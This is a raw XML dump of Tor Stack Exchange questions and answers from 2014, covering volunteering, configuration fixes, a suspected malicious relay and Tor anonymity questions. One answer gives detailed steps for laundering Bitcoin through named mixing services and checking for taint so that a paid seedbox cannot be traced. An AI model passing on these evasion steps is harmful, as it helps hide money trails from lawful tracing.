  <row Id="3964" PostTypeId="2" ParentId="3961" CreationDate="2014-08-29T08:05:54.840" Score="15" Body="&lt;p&gt;There are several ways where you can help the Tor Project. I try to explain some which come to my mind.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tor's volunteer page&lt;br /&gt;&#xA;The &lt;a href=&quot;https://www.torproject.org/getinvolved/volunteer.html.en&quot; rel=&quot;noreferrer&quot;&gt;volunteer page&lt;/a&gt; lists several possibilities where you can help. It might be helpful for you to browse through the page. Maybe something catches your eye.&lt;/li&gt;&#xA;&lt;li&gt;Tor Weekly News&lt;br /&gt;&#xA;The &lt;a href=&quot;https://blog.torproject.org/category/tags/tor-weekly-news&quot; rel=&quot;noreferrer&quot;&gt;Tor Weekly News&lt;/a&gt; is a newsletter which is openly &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorWeeklyNews&quot; rel=&quot;noreferrer&quot;&gt;edited&lt;/a&gt;. If you encounter some useful news, pages, code etc. just insert it into the page. Have a look at the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorWeeklyNews/2014/35&quot; rel=&quot;noreferrer&quot;&gt;current editing process&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Easy development tasks to get involved with&lt;br /&gt;&#xA;Tor Weekly News has a section with some easy development tasks. This should help new contributors to make their first steps. &lt;/li&gt;&#xA;&lt;li&gt;Help translating&lt;br /&gt;&#xA;Tor manages translations via a &lt;a href=&quot;https://www.transifex.com/projects/p/torproject/&quot; rel=&quot;noreferrer&quot;&gt;Transifex project&lt;/a&gt;. You can login there and help to translate parts of Tor or subprojects into another language.&lt;/li&gt;&#xA;&lt;li&gt;Tor Bug Tracker&lt;br /&gt;&#xA;The &lt;a href=&quot;https://trac.torproject.org&quot; rel=&quot;noreferrer&quot;&gt;Bug Tracker trac&lt;/a&gt; offers to &lt;a href=&quot;https://trac.torproject.org/projects/tor/query&quot; rel=&quot;noreferrer&quot;&gt;query for certain 'features'&lt;/a&gt;. You might find some issues which interest you and where you can help. Also the &lt;a href=&quot;https://trac.torproject.org/projects/tor/timeline&quot; rel=&quot;noreferrer&quot;&gt;timeline&lt;/a&gt; shows what is happening currently.&lt;/li&gt;&#xA;&lt;li&gt;Website&lt;br /&gt;&#xA;Tor wants to move away from Drupal for the blog. The is some &lt;a href=&quot;https://lists.torproject.org/pipermail/www-team/2014-August/000346.html&quot; rel=&quot;noreferrer&quot;&gt;discussion and call for help&lt;/a&gt;. If you are good at that this can also be a good place to help. Furthermore the website itself should be overhauled. You can find some &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/Website&quot; rel=&quot;noreferrer&quot;&gt;information at the wiki&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In general it is also a good idea to follow &lt;a href=&quot;https://www.torproject.org/about/contact.html.en#irc&quot; rel=&quot;noreferrer&quot;&gt;IRC conversations&lt;/a&gt;. This helps to see what is currently going on and you might find a thing where you want to step in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you start sending patches to the Tor Project you usually get feedback on them. So this helps you to improve them. First it will take some iterations until your code gets accepted, but if you keep sending (good) patches they will be accepted faster.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="923" LastEditDate="2014-11-19T16:44:05.043" LastActivityDate="2014-11-19T16:44:05.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3965" PostTypeId="2" ParentId="3847" CreationDate="2014-08-29T17:22:31.280" Score="0" Body="&lt;p&gt;There is a chance that you're using OS X 10.9 or newer, and are encountering an application auth cache issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you run a new unsigned application, OS X will cache info about the application once you approve running it so that you don't have to keep approving it on each launch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, when you upgrade from a previous Tor Browser Bundle installation, this cache doesn't get cleared, so launches of the updated version fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This failure is perhaps more likely to occur if you piecemeal unzip or copy the new Tor Browser Bundle files into your older TorBrowserBundle_??-??.app container, rather than replacing the TorBrowserBundle_??-??.app container entirely with the new version.  [Substitute ??-?? for your language and country version; mine is en-US.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, you might try running the Tor Browser Bundle from a different folder than your previous location for the TorBrowserBundle_??-??.app container. This is very likely to create a fresh entry for the new version once you OK running the application.  For example, if the old TorBrowserBundle_??-??.app was in /Applications, place the new TorBrowserBundle_??-??.app version in ~/Desktop, ~/Applications, or the like.&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-08-29T17:22:31.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3966" PostTypeId="2" ParentId="3734" CreationDate="2014-08-29T18:48:04.320" Score="0" Body="&lt;p&gt;It is almost certainly illegal to use a neighbor WIFI without their consent. If you go without their consent you are already in trouble. If you get their consent there is no advantage for you and maybe even some disadvantage because they can watch and time your communication albeit maybe in encrypted format. This is one unnecessary additional entity that can watch you. In addition as one of the other answers alluded to neighbors are always the first target if they believe the suspects WIFI has been breached. Now the best option as alluded to in one of other answers is a public WIFI far from your neighborhood. So to put it in a nutshell using neighbor WIFI is illegal and may make a criminal out of you if it is used without neighbor's consent and a disadvantage if used with neighbor consent.&#xA;The best option is a public WIFI far from your neighborhood. &lt;strong&gt;&lt;em&gt;Do not put yourself in trouble.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-08-29T18:48:04.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3967" PostTypeId="1" CreationDate="2014-08-30T01:22:07.207" Score="2" ViewCount="3971" Body="&lt;p&gt;I've been trying for hours to get a munin monitoring plugin to hook into the Tor control port without success.  The problem is that it's unable to access the Tor authcookie in /var/run/tor with the error permission denied.  I've tried everything: Running the script as root, adding both root and www-data (it's a php script) into the debain-tor usergroup, changing permissions on /var/run/tor and /var/run/tor/control.authcokie (which works, but then prevents Tor from starting up throwing an error saying that the permissions aren't tight enough &gt;.&gt;), even changing the location of where Tor saves the cookie file all without success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set the setting CookieAuthFileGroupReadable 1 in torrc and restarted Tor and the monitoring tool more times than I can count, all without luck.  Is there some way to allow programs to access the cookie file while still maintaining strict enough permissions to allow Tor to start and run successfully?&lt;/p&gt;&#xA;" OwnerUserId="3505" LastEditorUserId="923" LastEditDate="2014-08-30T07:56:30.730" LastActivityDate="2015-05-20T05:18:10.270" Title="Can't access Tor authcookie file from third party program" Tags="|relays|configuration|linux|ubuntu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3968" PostTypeId="2" ParentId="3967" CreationDate="2014-08-30T15:55:24.860" Score="1" Body="&lt;p&gt;Off the top of my head (I haven't thought about the security implications in any detail) I would:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set &lt;code&gt;CookieAuthFileGroupReadable 1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Start Tor&lt;/li&gt;&#xA;&lt;li&gt;Figure out exactly what group Tor's process is running with (I'm not sure on Ubuntu) by running &lt;code&gt;ps -aeo &quot;%U %G %c&quot; | grep tor&lt;/code&gt; (group is in the second column)&lt;/li&gt;&#xA;&lt;li&gt;Unless group is &lt;code&gt;root&lt;/code&gt; (in which case I wouldn't follow this advice), have your munin plugin run with said group by following &lt;a href=&quot;http://munin-monitoring.org/wiki/faq#Q:CanImakethepluginrunasanotherusergroupthannobodynogroup&quot; rel=&quot;nofollow&quot;&gt;these instructions&lt;/a&gt;, designed for exactly this purpose.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Done.&lt;/p&gt;&#xA;" OwnerUserId="3507" LastEditorUserId="923" LastEditDate="2014-08-30T16:26:21.290" LastActivityDate="2014-08-30T16:26:21.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3970" PostTypeId="2" ParentId="3407" CreationDate="2014-08-30T17:37:29.267" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Remote_Desktop_Protocol&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia says&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The RDP protocol in its default configuration is vulnerable to a man-in-the-middle attack. Administrators can enable transport layer encryption to mitigate this risk.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;RDS over TLS is &lt;a href=&quot;https://security.stackexchange.com/a/5127/36782&quot;&gt;somewhat equivalent&lt;/a&gt; to https. So if you trust Tor with https traffic you can probably also trust it with RDS over TLS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're dealing with proprietary software (Windows) it still might be a good idea to additionally tunnel it through an SSH connection that you know is safe.&lt;/p&gt;&#xA;" OwnerUserId="3508" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:45.153" LastActivityDate="2014-08-30T22:07:05.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3971" PostTypeId="1" CreationDate="2014-08-30T20:39:43.793" Score="1" ViewCount="428" Body="&lt;p&gt;I think I've encountered a malicious node. (I used TBB to connect normally, no obfs3, no bridges, no pluggable transports.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a fragment of the log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Aug 29 16:23:07.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.&#xA;Aug 29 16:23:09.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Aug 29 16:23:09.000 [notice] Bootstrapped 100%: Done.&#xA;Aug 29 16:23:10.000 [notice] New control connection opened.&#xA;Aug 29 16:23:30.000 [warn] Proxy Client: unable to connect to 209.141.36.236:45496 (&quot;TTL expired&quot;)&#xA;Aug 29 16:23:37.000 [notice] new bridge descriptor 'PacificSunset' (fresh): $BA61757846841D64A83EA2514C766CB92F1FB41F~PacificSunset at 208.79.90.242&#xA;Aug 29 16:26:06.000 [notice] New control connection opened.&#xA;Aug 29 16:26:43.000 [notice] New control connection opened.&#xA;Aug 29 16:27:10.000 [warn] Rejecting SOCKS request for anonymous connection to private address [scrubbed].&#xA;Aug 29 16:28:17.000 [notice] We stalled too much while trying to write 2410 bytes to address [scrubbed].  If this happens a lot, either something is wrong with your network connection, or something is wrong with theirs. (fd 38, type Socks, state 11, marked at src/or/connection_edge.c:144).&#xA;Aug 29 16:30:02.000 [notice] New control connection opened.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could Tor developers who are responsible for nodes and relays remove 209.141.36.236:45496 please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you guys suspect a MiTM attack? or the NSA, GCHQ is hacking in to some parts of the Tor network?&lt;/p&gt;&#xA;" OwnerUserId="3509" LastEditorUserId="3509" LastEditDate="2014-08-31T04:19:07.407" LastActivityDate="2014-08-31T22:32:41.733" Title="A suspicious malicious node? (part 1)" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3972" PostTypeId="2" ParentId="3364" CreationDate="2014-08-30T23:09:30.967" Score="3" Body="&lt;p&gt;Facebook says the location is based on an approximation, if you hover the mouse over the location you can see the IP Facebook bases its approximation on. Whois test of the IP shows it's not located in Baghdad/Iraq. So this, after all, may be a problem with Facebook handling Tor nodes.&lt;/p&gt;&#xA;" OwnerUserId="3510" LastActivityDate="2014-08-30T23:09:30.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3973" PostTypeId="2" ParentId="3733" CreationDate="2014-08-31T02:39:13.307" Score="2" Body="&lt;p&gt;This is a clip from the emailed response I got back in May 2014 when I had the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on a windows machine and I didn't see how the answer gets used to help me run a relay again even though I've run one many times before with no problem. But this MAY help you, and I'll hope for enough info in time to help me fix this W7 machine to run the Vidalia relay bundle again. I wonder how many other potential windows relay folks are similarly waiting for a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;As it says, your relay is being rejected. This is because your relay is&#xA;still vulnerable to the “Heartbleed” vulnerability or your key is considered&#xA;as possibly compromised. For more details please see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/openssl-bug-cve-2014-0160&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/openssl-bug-cve-2014-0160&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And articles in past Tor Weekly News editions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/tor-weekly-news-%E2%80%94-april-9th-2014&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/tor-weekly-news-%E2%80%94-april-9th-2014&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It won't let me post more than 2 links, but the 3rd was the same as that 2nd one but change the date to this: april-16th-2014&lt;/p&gt;&#xA;" OwnerUserId="3511" LastEditorUserId="923" LastEditDate="2014-08-31T07:23:58.133" LastActivityDate="2014-08-31T07:23:58.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3974" PostTypeId="2" ParentId="3953" CreationDate="2014-08-31T04:06:12.420" Score="1" Body="&lt;p&gt;If having wide availability of the video is ok, perhaps getting it up on archive.org without caught doing it might be what you need. Then anyone can see it and download it. Plenty of &quot;activist&quot; class material there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from presenting traffic that is unwelcome on Tor, I think your torrent client itself is apt to leak who you are in several ways. Very bad to take such a risk.&lt;/p&gt;&#xA;" OwnerUserId="3511" LastActivityDate="2014-08-31T04:06:12.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3975" PostTypeId="2" ParentId="3929" CreationDate="2014-08-31T04:24:40.947" Score="0" Body="&lt;p&gt;Not all download sites allow I think it is called &quot;restart&quot;. If you are using a download manager/optimizer such as the one built into the BitComet torrent client, you can configure how many parallel streams it has open at once (I use 5 generally) and it breaks the file into that many pieces and each runs without paying any attention to the others. When one stream finishes, it goes and steals the latter half of the largest unfinished of its siblings to work on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That sort of strategy can keep a high capacity connection full in spite of suboptimal outstanding packet limits and small MTUs. However, it can also be easily told to limit the total bandwidth to whatever is you think won't impact the Tor network too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, the key requirement is that &quot;restart&quot; capability at the site you are going to which enables the tool you are using to indicate where in the file it wants to start getting bytes from. &lt;/p&gt;&#xA;" OwnerUserId="3511" LastActivityDate="2014-08-31T04:24:40.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3976" PostTypeId="1" CreationDate="2014-08-31T04:31:01.950" Score="1" ViewCount="36" Body="&lt;p&gt;I'd like to have your feedback on the brands and models of smartphones on which Tor is able to run smoothly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please feel free to discuss your experiences about how your smartphones run Tor.&lt;/p&gt;&#xA;" OwnerUserId="3509" LastActivityDate="2014-08-31T14:35:36.107" Title="Which brands and models of smartphones run Tor smoothly?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3977" PostTypeId="2" ParentId="3953" CreationDate="2014-08-31T04:32:31.850" Score="5" Body="&lt;p&gt;Making a movie available via BitTorrent is fine. But using Tor, either for seeding or recommended for downloading, is unwise. It's hard to properly configure torrent clients to use Tor without leaking, so recommending that people download via Tor would put them at risk. And even if torrent clients are properly configured, they would be stealing bandwidth from people who just need Tor for browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better plan would be to lease a seedbox from (for example) BolehVPN. To stay anonymous, use Tor for all associated connections. Get the price from the BolehVPN site. Then buy enough Bitcoins, plus 20% to cover mixing fees and price changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written a &lt;a href=&quot;https://www.ivpn.net/privacy-guides/advanced-privacy-and-anonymity-part-7&quot; rel=&quot;noreferrer&quot;&gt;guide&lt;/a&gt; that covers using Bitcoins anonymously in great detail. I recommend multiple transfers through mixing services, using MultiBit clients in multiple Whonix instances. For better anonymity, each Multibit client should have a wallet with several receiving addresses. For each transfer from one client to another through a mixing service, you randomly spread the Bitcoins among several address combinations. That increases the anonymity that each transfer provides, by reducing correlation based on quantities transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reputable mixing services include &lt;a href=&quot;https://bitlaundry.appspot.com/&quot; rel=&quot;noreferrer&quot;&gt;BitLaundry&lt;/a&gt; and &lt;a href=&quot;http://fogcore5n3ov3tui.onion/&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Fog&lt;/a&gt;. Avoid OnionBC. It has either broken, or become a scam. It accepts deposits, but won’t execute withdrawals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After each mixing step, it’s crucial to check receiving addresses for taint from sending addresses. On the Blockchain explorer page, enter each receiving address in the “Search” field, and hit enter. Then click “Taint Analysis”, and download the results. Once you have all of the data, search the taint results for each receiving address for the corresponding sending address. If it appears, you need to remix that component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have your anonymized Bitcoins, browse the BolehVPN site via Tor, and lease the seedbox. Then upload the movie to the seedbox via sftp via Tor, in relatively small, random-size pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have a torrent to share. People can download as they wish.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-31T04:32:31.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3978" PostTypeId="2" ParentId="3892" CreationDate="2014-08-31T09:33:36.867" Score="0" Body="&lt;p&gt;If it does not violate the school's rules, and if you are in a dorm room with window view perhaps of some nearby non-school open WiFi (shopping center, town library, coffee shop, etc), a 2.4GHZ 10&quot; diameter parabolic or a small cantenna (you can make) or yagi inside looking through your window coupled with a WiFi bridge or even directly wired to a computer with an antenna connection you can access might solve your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are issues of antenna gain and max power the FCC allows in some configurations. A site such as &lt;a href=&quot;http://www.fab-corp.com&quot; rel=&quot;nofollow&quot;&gt;http://www.fab-corp.com&lt;/a&gt; has a lot of information as well as extremely qualified and friendly folks you can get on the phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IP bandwidth wholesale at a large peering center where many major networks are present is very very inexpensive. If you are out in the boonies, then the last &quot;mile&quot; which could be even hundreds of miles from inexpensive bandwidth, is where the price can go way up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OTOH if your school is a large university with plenty of bandwith to the outside world, you may be limited by &quot;old&quot; infrastructure just on campus to the dorms. Perhaps a bit of social engineering and/or activism can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember a NANOG meeting in Miami not that many years ago, but before hotels had bandwidth to rooms where one attendee came with a 3' diameter parabolic open mesh (low wind loading and a light and easy to carry) antenna and a large 3' diameter coil of LMR-400 (low loss professional antenna cable about .4&quot; in diameter) hanging from his shoulder. He aimed it out his window across the plaza to a friendly ISP/CLEC's switching center on the top floor &quot;pent-house&quot; of an office building. A fellow attendee at the conference was a VP at that company and they got a big block of real IP addresses to use that week. At the ISP/Telco end the attendees brought over am Apple airport rainproofed in a reusable resealable plastic food storage container and duct-taped it outside on the hand rail of the fire escape to the roof near where their generator sat on some heavy open beams. The Airport had been modified to have a short coax cable going to a quite small but directional external antenna aimed at the hotel room.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the hotel end they provided WiFi to their floor and the one above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another NANOG meeting, this time in Oakland, again when WiFi didn't yet get to hotel rooms had someone else come with an about 3 or maybe 4 foot long sealed plastic large pipe containing probably a yagi antenna that after nothing could be found to aim at across town was finally tiewrapped to the top window curtain rod so it hung pointing almost straight down and was aimed at the glass roof window of the hotel's bar that did have a good signal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point in all that is that there MAY BE a way you can fix your bandwidth problems with ingenuity and some cooperating friends. In your situation, perhaps there is a faculty member that can sanctify your engineering efforts, especially if you can spread the goodness to some others near you.&lt;/p&gt;&#xA;" OwnerUserId="3511" LastActivityDate="2014-08-31T09:33:36.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3979" PostTypeId="2" ParentId="1926" CreationDate="2014-08-31T13:09:10.657" Score="0" Body="&lt;p&gt;No, you don't need to worry about the rest of the applications, that's what memory space isolation is for in all modern operating systems.&lt;/p&gt;&#xA;" OwnerUserId="1726" LastActivityDate="2014-08-31T13:09:10.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3980" PostTypeId="2" ParentId="3976" CreationDate="2014-08-31T14:09:35.223" Score="1" Body="&lt;p&gt;Currently I use a galaxy note 2.&#xA;With Tor and i2p on it, works without any issues.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="923" LastEditDate="2014-08-31T14:35:36.107" LastActivityDate="2014-08-31T14:35:36.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3981" PostTypeId="2" ParentId="3971" CreationDate="2014-08-31T15:04:23.837" Score="1" Body="&lt;p&gt;The proper way to report a suspicious relay is to report that to Tor at the following email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a quote from About Tor, Tor: contact, Email&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bad-relays@lists.torproject.org is for reporting exit relays observed&#xA;  to be misconfigured or malicious. You do not need to subscribe before&#xA;  posting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Appreciated for you concern and it is recommended to report this to proper Email address.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-08-31T15:04:23.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3982" PostTypeId="2" ParentId="3971" CreationDate="2014-08-31T15:39:03.127" Score="1" Body="&lt;p&gt;Firstly I'm not answering my own question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather, it's a response to Roya's suggestion that I send an email to bad-relays@lists.torproject.org, which I had done prior to making the original post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is exchange of emails between Philipp and me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; &amp;gt; On Thu, Aug 28, 2014 at 11:19:49AM -0000, xxxx (name redacted) wrote:&#xA;&amp;gt; &amp;gt;&amp;gt; I wish to report a malicious relay. The following is a snippet of my Tor&#xA;&amp;gt; &amp;gt;&amp;gt; connection log:&#xA;&amp;gt; &amp;gt;&amp;gt;&#xA;&amp;gt; &amp;gt;&amp;gt; Aug 28 18:26:06.000 [warn] Proxy Client: unable to connect to&#xA;&amp;gt; &amp;gt;&amp;gt; 209.141.36.236:45496 (&quot;TTL expired&quot;)&#xA;&amp;gt; &amp;gt;&amp;gt; Aug 28 18:26:08.000 [notice] Tor has successfully opened a circuit.&#xA;&amp;gt; &amp;gt;&amp;gt; Looks&#xA;&amp;gt; &amp;gt;&amp;gt; like client functionality is working.&#xA;&amp;gt; &amp;gt;&amp;gt; Aug 28 18:26:08.000 [notice] Bootstrapped 100%: Done.&#xA;&amp;gt; &amp;gt;&amp;gt; 0 migrated.&#xA;&amp;gt; &amp;gt;&amp;gt; Aug 28 18:26:09.000 [notice] New control connection opened.&#xA;&amp;gt; &amp;gt;&#xA;&amp;gt; &amp;gt; That does not seem to be malicious.  It means that the TTL value of IP&#xA;&amp;gt; &amp;gt; packets to 209.141.36.236 expired.  That's a networking error and not a&#xA;&amp;gt; &amp;gt; security problem.&#xA;&amp;gt; &amp;gt;&#xA;&amp;gt; &amp;gt; Cheers,&#xA;&amp;gt; &amp;gt; Philipp&#xA;&amp;gt; &amp;gt;&#xA;&amp;gt; &#xA;&amp;gt; Hi Philip&#xA;&amp;gt; &#xA;&amp;gt; Thanks for your clarification.&#xA;&amp;gt; &#xA;&amp;gt; The networking error occurs at whose end: my PC and/or router, my ISP, Tor&#xA;&amp;gt; network or the destination site?&#xA;&amp;gt; &#xA;&amp;gt; Could someone or some people have introduced some hacks to induce a&#xA;&amp;gt; networking error?&#xA;&amp;gt; &#xA;&amp;gt; Were the data packets sent by me to the destination website decrypted as a&#xA;&amp;gt; result of the expiration of TTL value?&#xA;&#xA;I am sorry but this mailing list is only for reporting malicious relays.&#xA;If you need support, please write to &amp;lt;help@rt.torproject.org&amp;gt;.&#xA;&#xA;Cheers,&#xA;Philipp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3509" LastEditorUserId="3509" LastEditDate="2014-08-31T22:32:41.733" LastActivityDate="2014-08-31T22:32:41.733" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3984" PostTypeId="2" ParentId="3953" CreationDate="2014-08-31T20:06:49.643" Score="1" Body="&lt;p&gt;Free VPN is an option for you. There is no money trail and you do not need to fund VPN usage. You may encounter volume limitation since you need 5GB usage volume, but this can be overcome by dividing your file to as many parts as you wish, and use different free VPN to load each part. This may improve your anonymity and security. However, make sure all free VPNs encrypt the files. Like all other answers, I will tell you using Tor is not a right answer for what you want to do. &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-08-31T20:12:02.323" LastActivityDate="2014-08-31T20:12:02.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3985" PostTypeId="2" ParentId="3334" CreationDate="2014-08-31T20:34:50.907" Score="2" Body="&lt;p&gt;I'm new at macverse as well but here is how I worked it;&#xA;double click on the .dmg file which opens a  window which shows the Tor browser globe icon, an arrow, and the applications folder icon.&#xA;Grab and drag the Tor browser icon over to the applications folder icon. The bundle will then be copied over to the applications folder. After the copy is complete; select the Tor icon in the applications folder and voila! I was then able to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps....&lt;/p&gt;&#xA;" OwnerUserId="3514" LastEditorUserId="923" LastEditDate="2014-08-31T20:48:47.663" LastActivityDate="2014-08-31T20:48:47.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3986" PostTypeId="1" CreationDate="2014-08-31T22:04:34.137" Score="1" ViewCount="334" Body="&lt;p&gt;Let's say we have two users connected via a socket over Tor. Is there anyway for one user to DoS the other user, maybe by learning their real IP address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My end goal is to design a system that let two users play a game with each other over a socket, but not be able to learn each other's IPs or DDoS each other.&lt;/p&gt;&#xA;" OwnerUserId="3516" LastEditorUserId="923" LastEditDate="2014-08-31T23:05:50.837" LastActivityDate="2014-09-01T07:14:27.793" Title="DoS attacking Tor users" Tags="|security|dos|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3987" PostTypeId="2" ParentId="3986" CreationDate="2014-08-31T22:22:01.223" Score="0" Body="&lt;p&gt;Tor connects users to destinations. It hides users' IP addresses, but does not hide the IP addresses of destinations. And so users could DoS destinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what you want, each user should run a hidden service, and they should use OnionCat to connect via Tor. However, it's also possible to DoS hidden services.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-31T22:22:01.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3988" PostTypeId="2" ParentId="3986" CreationDate="2014-09-01T04:04:18.043" Score="1" Body="&lt;p&gt;There really isn't an easy way to discover a persons IP address through Tor.  The problem for you is really deployment.  In my (not so professional) opinion, your best bet would be to have each user set up their own hidden service, and the two hidden services exchange the .onion address through a man in middle.  Kinda like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User #1's .onion =&gt; man in the middle =&gt; User #2&#xA;User #1 &amp;lt;= man in the middle &amp;lt;= User #2's .onion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are concerned about DDoS attacks, then you can add some basic anti's in.  There are only a few basic attacks that the Tor network can used, as Tor can only use the TCP protocol.  In my opinion, many skidds wouldn't bother attacking, because there are not many easy ways to hit a .onion service.  No stresser/booter/botnet really supports that kind of thing (or at least I have never seen one in my years as a security analyst).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real question is, why through Tor?  Tor only supports TCP, and your latency will be horrendous.  If the amount of data is to big, you might accidentally stress out the nodes as well.  These are something to remember when using Tor.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="923" LastEditDate="2014-09-01T07:14:27.793" LastActivityDate="2014-09-01T07:14:27.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3990" PostTypeId="1" CreationDate="2014-09-01T06:12:40.637" Score="1" ViewCount="59" Body="&lt;p&gt;What makes it impossible for spying agencies to track whom the user is communicating to by guessing to which packet coming in corresponds a packet going out, based on the very small difference in time and the size of the packet? Is noise caused by the huge amount of transactions the only element that prevents it? If so, wouldn't the client picking a path composed of only low-traffic nodes compromise it?&lt;/p&gt;&#xA;" OwnerUserId="3521" LastActivityDate="2014-09-01T06:12:40.637" Title="Tor time-size attack" Tags="|security|deanonymization|time|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
